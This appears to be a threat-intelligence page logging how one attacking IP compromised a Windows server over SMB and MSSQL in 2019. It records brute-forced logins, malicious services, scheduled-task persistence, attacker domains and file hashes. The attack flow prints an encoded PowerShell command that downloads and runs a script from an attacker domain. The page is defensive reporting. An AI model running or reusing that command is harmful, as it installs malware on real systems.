IP Address: 178.207.229.40Previously Malicious

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IP Address:
178.207.229.40​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

PowerShell Port 445 Scan Download and Execute Service Start Successful SMB Login DNS Query CMD Scheduled Task Creation Service Creation Persistency - Logon Listening SMB Null Session Login MSSQL Download File Access Suspicious Domain SMB Service Deletion Service Stop SMB Share Connect Service Configuration

Associated Attack Servers

oo.beahh.com pp.abbny.com ii.haqo.net o.beahh.com i.haqo.net ip.42.pl p.abbny.com

Basic Information

IP Address

178.207.229.40

Domain

-

ISP

Ojsc oao Tattelecom

Country

Russian Federation

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-14

Last seen in Guardicore Centra

2019-04-17

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

c:\windows\system32\services.exe installed and started %systemroot%\evalcjfi.exe as a service named VxjX under service group None

Service Start Service Creation

The file C:\Windows\EvaLcJFi.exe was downloaded and executed

Download and Execute

c:\windows\hkxzwz.exe was downloaded

Download File

C:\Windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 3 times

Successful SMB Login

Service VxjX was stopped

Service Stop

The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 3 times

Download and Execute

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths

The command line C:\Windows\BkVxQzb.exe was scheduled to run by modifying C:\Windows\System32\Tasks\BkVxQzb

The command line c:\windows\HKXzwZ.exe was scheduled to run by modifying C:\Windows\System32\Tasks\uKjaTrU

c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

The file c:\windows\syswow64\wmiex.exe was downloaded and executed 2 times

Download and Execute

Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com

Access Suspicious Domain DNS Query

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers

c:\windows\temp\upinstalled.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None

Service Start Service Creation

The file C:\Windows\temp\svchost.exe was downloaded and executed 2 times

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533

Listening

The command line C:\windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

The command line cmd.exe /c c:\windows\SysWOW64\drivers\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Ddrivers

Process c:\windows\syswow64\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net, o.beahh.com and p.abbny.com

Access Suspicious Domain DNS Query

Process NetworkService Service Group attempted to access suspicious domains: oo.beahh.com

Access Suspicious Domain DNS Query

Process c:\windows\system32\wbem\wmiprvse.exe attempted to access suspicious domains: _ldap._tcp.dc._msdcs.SERVER-BACKUP

Access Suspicious Domain DNS Query

Process c:\windows\temp\svchost.exe attempted to access domains: ip.42.pl

DNS Query

Process NetworkService Service Group attempted to access domains: ip.42.pl

DNS Query

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.10:445, 192.168.0.11:445, 192.168.0.12:445, 192.168.0.13:445, 192.168.0.14:445, 192.168.0.15:445, 192.168.0.16:445, 192.168.0.17:445, 192.168.0.18:445, 192.168.0.19:445, 192.168.0.1:445, 192.168.0.20:445, 192.168.0.21:445, 192.168.0.22:445, 192.168.0.23:445, 192.168.0.24:445, 192.168.0.25:445, 192.168.0.26:445, 192.168.0.27:445, 192.168.0.28:445, 192.168.0.29:445, 192.168.0.2:445, 192.168.0.30:445, 192.168.0.31:445, 192.168.0.32:445, 192.168.0.33:445, 192.168.0.34:445, 192.168.0.3:445, 192.168.0.4:445, 192.168.0.5:445, 192.168.0.6:445, 192.168.0.7:445, 192.168.0.8:445 and 192.168.0.9:445

Process c:\windows\temp\svchost.exe scanned port 445 on 34 IP Addresses

Port 445 Scan

Connection was closed due to timeout

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\zrpeIdXH.exe

SHA256: 45176261a7362c49abe4c3e668235e206e8bad44f66d428caf9d9e5118d83210

6271280 bytes

c:\windows\yysdgbt.exe

SHA256: 7d317cb1ee2c6afabe13387f240f330773dc2f107ce93b32214596bafc694cbb

12662440 bytes

C:\Windows\temp\upinstalled.exe

SHA256: bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc

201776 bytes

C:\Windows\Temp\ttt.exe

SHA256: b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530

73776 bytes

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IP Address: 178.207.229.40​Previously Malicious